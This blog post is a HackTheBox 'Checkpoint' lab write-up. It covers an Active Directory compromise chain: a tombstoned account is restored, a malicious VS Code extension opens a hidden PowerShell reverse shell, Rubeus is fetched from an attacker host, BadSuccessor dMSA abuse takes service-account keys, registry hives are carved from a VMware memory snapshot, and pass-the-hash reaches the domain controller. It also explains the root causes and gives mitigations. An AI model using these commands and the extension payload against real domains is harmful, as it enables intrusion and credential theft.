Back to blog
← Back to posts

HTB: Checkpoint


Checkpoint is a pure Active Directory chain with no exploitable CVE anywhere in it — every step is a misconfiguration handing off to the next. It opens on an object nobody should have been able to touch: a tombstoned (soft-deleted) user that our starting account can reanimate. From there it walks through a malicious VS Code .vsix extension for code execution, the brand-new BadSuccessor delegated-Managed-Service-Account abuse on Server 2025, and finishes somewhere unusual — pulling a domain administrator's hash out of a VMware memory snapshot sitting in a backup share, with volatility3. It's a great tour of "living off AD features" rather than exploiting bugs.
Checkpoint domain-compromise chain: alex.turner restores tombstoned Mark Davies, mark.davies drops a malicious VS Code vsix into DevDrop for a ryan.brooks shell and user.txt, BadSuccessor dMSA yields svc_deploy keys, svc_deploy reads a VMBackups vmem, volatility3 plus secretsdump recovers the Administrator hash, and pass-the-hash to DC01 gives root.txt
alex.turner restore tombstone mark.davies malicious .vsix ryan.brooks BadSuccessor dMSA svc_deploy VMBackups .vmem volatility3 + secretsdump Administrator
Attacker box here is macOS, not Kali — worth calling out because it forces two workarounds later: the Windows AD tooling runs from pipx venvs, and Kerberos clock-skew can't be fixed with ntpdate without touching the system clock. Both are solved inline below.

Reconnaissance

A full TCP sweep shows the standard domain-controller surface — the box announces itself as DC01 in checkpoint.htb, Windows Server 2025 (build 26100).

recon
$ nmap -sC -sV -p- --min-rate 5000 <TARGET_IP> 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds 5985/tcp open http Microsoft HTTPAPI (WinRM) ... $ echo '<TARGET_IP> checkpoint.htb dc01.checkpoint.htb dc01' | sudo tee -a /etc/hosts

The box hands you a starting credential: alex.turner : Checkpoint2024!. It authenticates, so we go straight to object enumeration.

nxc smb — creds valid
$ nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!' SMB DC01 [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:checkpoint.htb) SMB DC01 [+] checkpoint.htb\alex.turner:Checkpoint2024!

Initial Access — Tombstone Reanimation

When an AD object is deleted it isn't gone immediately — it becomes a tombstone: stripped of most attributes and moved to CN=Deleted Objects, where it lingers for the tombstone lifetime (180 days by default) before the garbage collector reaps it. If you can write to a tombstone, you can clear its isDeleted flag and set a new distinguishedNamerestoring it, attributes and all. bloodyAD's get writable shows alex.turner has exactly that right:

bloodyAD get writable
$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host <TARGET_IP> get writable distinguishedName: CN=Deleted Objects,DC=checkpoint,DC=htb DACL: WRITE distinguishedName: CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,... permission: WRITE

There's the tombstone: a deleted Mark Davies we can write to. Restore it in one call:

bloodyAD set restore
$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host <TARGET_IP> \ set restore "CN=Mark Davies\0ADEL:2217e877-...,CN=Deleted Objects,DC=checkpoint,DC=htb" [+] CN=Mark Davies\0ADEL:2217e877-... has been restored successfully under CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

A restored account keeps its old password. Mark shared the domain's default, and he can see one more share than alex could:

nxc smb mark.davies --shares
$ nxc smb checkpoint.htb -u mark.davies -p 'Checkpoint2024!' --shares [+] checkpoint.htb\mark.davies:Checkpoint2024! Share Permissions Remark ----- ----------- ------ DevDrop READ,WRITE VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0 VMBackups (no access yet)
A writable tombstone is a DACL misconfiguration on CN=Deleted Objects. Restoration rights should be limited to a break-glass admin group; handing them to a normal user turns "we deleted that account" into "we un-deleted it, with its old password."

Foothold — Malicious VS Code Extension

The DevDrop share's own remark tells the story: it's a drop folder for "approved" VS Code extensions, engine 1.118.0. Something on the box installs .vsix packages left here. A VS Code extension is just a zip with a manifest and a JavaScript entry point, and the entry point runs arbitrary Node on activation — so a malicious extension is trivial RCE against whoever loads it.

The package is four files: [Content_Types].xml, extension.vsixmanifest, and an extension/ folder with package.json + extension.js. The manifest declares the matching engine; package.json activates on startup and points at our code; extension.js spawns a reverse shell:

extension/package.json + extension.js
// package.json "engines": { "vscode": "^1.118.0" }, "activationEvents": ["onStartupFinished"], "main": "./extension.js" // extension.js — runs the moment the editor finishes loading const cp = require('child_process'); function activate() { cp.exec('powershell -nop -w hidden -e <base64 reverse shell>'); } module.exports = { activate, deactivate: () => {} };

Zip it into a .vsix, start a listener, and drop it into the share with mark.davies's write access:

package & deliver
$ zip -r exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/ $ ncat -lvnp 4444 # listener $ smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \ -c 'put exploit.vsix exploit.vsix'

A minute later the simulated operator's editor loads the extension and calls back — as ryan.brooks, on DC01 itself:

reverse shell
Ncat: Connection from <TARGET_IP>. PS C:\Program Files\Microsoft VS Code> whoami; hostname checkpoint\ryan.brooks DC01 PS ...> type C:\Users\ryan.brooks\Desktop\user.txt [redacted — user flag]
Auto-installing "approved" extensions from a writable share is the whole bug — the trust boundary is the share ACL, and it's set to READ/WRITE for a restorable account. Extensions are code; a share you can write to that feeds an editor is a code-execution primitive.

Privilege Escalation — BadSuccessor (dMSA abuse)

BadSuccessor is a 2025 Server-2025 technique (Akamai's Yuval Gordon) that abuses delegated Managed Service Accounts. dMSAs were meant to replace legacy service accounts: you link a new dMSA to its predecessor via msDS-ManagedAccountPrecededByLink, flag the migration complete, and the KDC lets the dMSA authenticate with the predecessor's keys so nothing breaks during cutover. The catch: if you can create a dMSA in an OU you control, you can point that link at any account and the KDC will hand you its keys. netexec's module confirms ryan.brooks is a valid principal for it:

nxc ldap -M badsuccessor
$ nxc ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor BADSUCCESSOR [+] ryan.brooks (S-1-5-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb
BadSuccessor dMSA migration abuse: ryan.brooks with CREATE_CHILD on OU=DMSAHolder uses Rubeus tgtdeleg for a TGT then bloodyAD add badSuccessor to forge evilDMSA6 linked as the successor of svc_deploy, and the KDC packs svc_deploy's AES and RC4 keys into the returned TGS

Getting a ticket without a password

bloodyAD's badSuccessor needs to authenticate as ryan.brooks — but we only have a shell, not his password or hash. Rubeus tgtdeleg solves that: it abuses Kerberos GSS-API delegation to make the local session hand over a usable TGT for the current user, no secrets required. We host Rubeus over HTTP, pull it into the shell, and run it:

Rubeus tgtdeleg (in the ryan.brooks shell)
PS ...> iwr http://<LHOST>:8181/rubeus.exe -OutFile C:\Windows\Temp\rubeus.exe PS ...> C:\Windows\Temp\rubeus.exe tgtdeleg /nowrap [+] Delegation request success! [*] base64(ticket.kirbi): doIF1DCCBdCgAwIBBaEDAgEWooIE0...

Convert the kirbi to a ccache impacket/bloodyAD can use:

kirbi → ccache
$ base64 -d ryan.kirbi.b64 > ryan.kirbi $ ticketConverter.py ryan.kirbi ryan.ccache && export KRB5CCNAME=$PWD/ryan.ccache
macOS clock-skew aside: the DC ran ~7 hours ahead, and Kerberos rejects tickets outside a ±5 min window. On Kali you'd sudo ntpdate checkpoint.htb; I didn't want to move the host clock. bloodyAD detects the skew and self-corrects ("Clock skew detected. Adjusting local time by 6:59:58. Retrying") — so no fix was needed for the steps that matter. For pure-NTLM steps below I sidestep Kerberos entirely.

Forging the successor

ryan can write into OU=DMSAHolder, and earlier enumeration (bloodyAD get writable --right WRITE) showed he also has WRITE over CN=svc_deploy — the target. Create the malicious dMSA linked as svc_deploy's successor:

bloodyAD add badSuccessor
$ bloodyAD -k ccache=ryan.ccache -u ryan.brooks --dc-ip <TARGET_IP> \ --host dc01.checkpoint.htb -d checkpoint.htb \ add badSuccessor evilDMSA6 \ -t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \ --ou "OU=DMSAHolder,DC=checkpoint,DC=htb" [+] dMSA TGT stored in ccache file evilDMSA6_ox.ccache dMSA previous keys (including keys of preceding managed accounts): RC4: e16081eb077aca74bdbf8af12af43ac9 ← svc_deploy's NT hash

The KDC returned svc_deploy's keys. That RC4 key is svc_deploy's NT hash — which means I can drop Kerberos and just pass-the-hash over NTLM, dodging the clock-skew problem entirely. svc_deploy can read VMBackups:

svc_deploy via NT hash
$ nxc smb dc01.checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares [+] checkpoint.htb\svc_deploy:e16081eb... Share Permissions Remark ----- ----------- ------ VMBackups READ

Loot & Root — Credentials from a Memory Snapshot

VMBackups holds a nightly VMware backup of a Windows Server 2019 VM. The interesting file is the .vmem — a VMware memory snapshot, i.e. the guest's entire RAM at snapshot time, 2 GB of it:

VMBackups contents
\NightlyBackup_2024-11-01\memory forensics\ Windows Server 2019-Snapshot1.vmem 2147483648 # raw guest RAM Windows Server 2019-Snapshot1.vmsn 138164859 Windows Server 2019.vmdk 10199695360 $ smbclient //dc01.checkpoint.htb/VMBackups -U 'checkpoint.htb\svc_deploy' \ --pw-nt-hash e16081eb... -c 'cd "NightlyBackup_2024-11-01\memory forensics"; get "...Snapshot1.vmem" snapshot.vmem'

RAM contains the registry hives while a machine is running. volatility3 carves them straight out of the image — SAM, SYSTEM and SECURITY are all we need to reconstruct the local secrets:

Memory forensics flow: svc_deploy reads a 2GB VMBackups vmem, volatility3 hivelist dump carves SAM SYSTEM SECURITY, impacket secretsdump LOCAL uses the SYSTEM bootKey to decrypt the SAM to the Administrator NT hash f29e9c01, which is reused for the live domain and pass-the-hash to DC01 returns Pwn3d
volatility3 — dump the hives
$ vol -f snapshot.vmem windows.registry.hivelist.HiveList 0xc30a2fe38000 \REGISTRY\MACHINE\SYSTEM 0xc30a3278e000 \SystemRoot\System32\Config\SAM 0xc30a32789000 \SystemRoot\System32\Config\SECURITY $ vol -o lsass_dump -f snapshot.vmem windows.registry.hivelist.HiveList --dump

With the three hives on disk, offline secretsdump uses the SYSTEM bootKey to decrypt the SAM and print the local account hashes:

secretsdump LOCAL
$ secretsdump.py -sam registry.SAM....hive -system registry.SYSTEM....hive \ -security registry.SECURITY....hive LOCAL [*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b:::

The backed-up server's local Administrator password was reused for the domain Administrator. Pass-the-hash straight to the live DC:

pass-the-hash → DC01
$ nxc smb dc01.checkpoint.htb -u Administrator -H f29e9c014295b9b32139b09a2790be3b [+] checkpoint.htb\Administrator:f29e9c01... (Pwn3d!) $ nxc smb dc01.checkpoint.htb -u Administrator -H f29e9c01... \ -x 'type C:\Users\max.palmer\Desktop\root.txt' [redacted — root flag]
Backups are production data. A memory snapshot is a plaintext copy of everything the machine held in RAM — hives, tokens, keys — sitting in a file share governed by ordinary NTFS permissions. Encrypt backup stores, scope who can read them to a tiny group, and above all don't reuse the same local-admin password across the estate — that single reuse is what turns "read an old backup" into "own the domain."

Why it worked

StageRoot cause
alex → markWRITE on CN=Deleted Objects lets a normal user reanimate a tombstoned account with its old password (CWE-284)
mark → ryanWritable share auto-feeds "approved" .vsix extensions to an editor — writable code path = RCE (CWE-732 / CWE-94)
ryan → svc_deployBadSuccessor: create-child on an OU lets a dMSA claim succession to any account and inherit its keys (Server 2025 dMSA abuse)
svc_deploy → rootDomain-admin password reused as a member server's local admin, captured from an unencrypted memory snapshot in a readable backup share (CWE-522 / CWE-259)

Key commands

quick reference
# 1. Restore the tombstone → mark.davies bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host <IP> \ set restore "CN=Mark Davies\0ADEL:2217e877-...,CN=Deleted Objects,DC=checkpoint,DC=htb" # 2. VS Code extension RCE → ryan.brooks (user.txt) zip -r exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/ smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' -c 'put exploit.vsix' # 3. BadSuccessor → svc_deploy NT hash rubeus.exe tgtdeleg /nowrap # in the shell; convert kirbi → ccache bloodyAD -k ccache=ryan.ccache -u ryan.brooks --host dc01.checkpoint.htb -d checkpoint.htb \ add badSuccessor evilDMSA6 -t "CN=svc_deploy,OU=ServiceAccounts,..." --ou "OU=DMSAHolder,..." # 4. VMBackups .vmem → volatility3 → secretsdump → Administrator smbclient //dc01.checkpoint.htb/VMBackups -U 'checkpoint.htb\svc_deploy' --pw-nt-hash <SVC_HASH> \ -c 'cd "NightlyBackup_2024-11-01\memory forensics"; get "...Snapshot1.vmem" snapshot.vmem' vol -o out -f snapshot.vmem windows.registry.hivelist.HiveList --dump secretsdump.py -sam SAM.hive -system SYSTEM.hive -security SECURITY.hive LOCAL # 5. Pass-the-hash → root.txt nxc smb dc01.checkpoint.htb -u Administrator -H <ADMIN_HASH> -x 'type C:\Users\max.palmer\Desktop\root.txt'